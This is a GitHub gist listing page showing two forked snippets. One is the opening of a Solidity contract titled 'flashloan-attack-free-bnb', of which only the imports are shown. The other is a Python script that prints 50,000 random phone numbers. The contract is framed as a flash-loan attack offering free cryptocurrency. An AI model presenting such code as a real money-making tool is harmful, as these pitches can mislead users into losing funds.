Skip to content

Instantly share code, notes, and snippets.

View spaco67's full-sized avatar

Timothy Dake spaco67

  • Zeustek Global & ICT Solutions
  • No. 33 Yakubu Gowon Way, Jos, Nigeria.
  • 10:33 (UTC +01:00)
View GitHub Profile
@spaco67
spaco67 / flash-bnb
Created June 28, 2025 12:25 — forked from bitcoineazy/flash-bnb
flashloan-attack-free-bnb
pragma solidity ^0.5.0;
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
@spaco67
spaco67 / rpng.py
Created January 5, 2019 14:41 — forked from amirsinaa/rpng.py
A simple python script to generate random phone numbers
from random import randint
def random_with_N_digits(n):
range_start = 10**(n-1)
range_end = (10**n)-1
return randint(range_start, range_end)
for tciNymbers in range(0,50000):
print('0912', random_with_N_digits(7))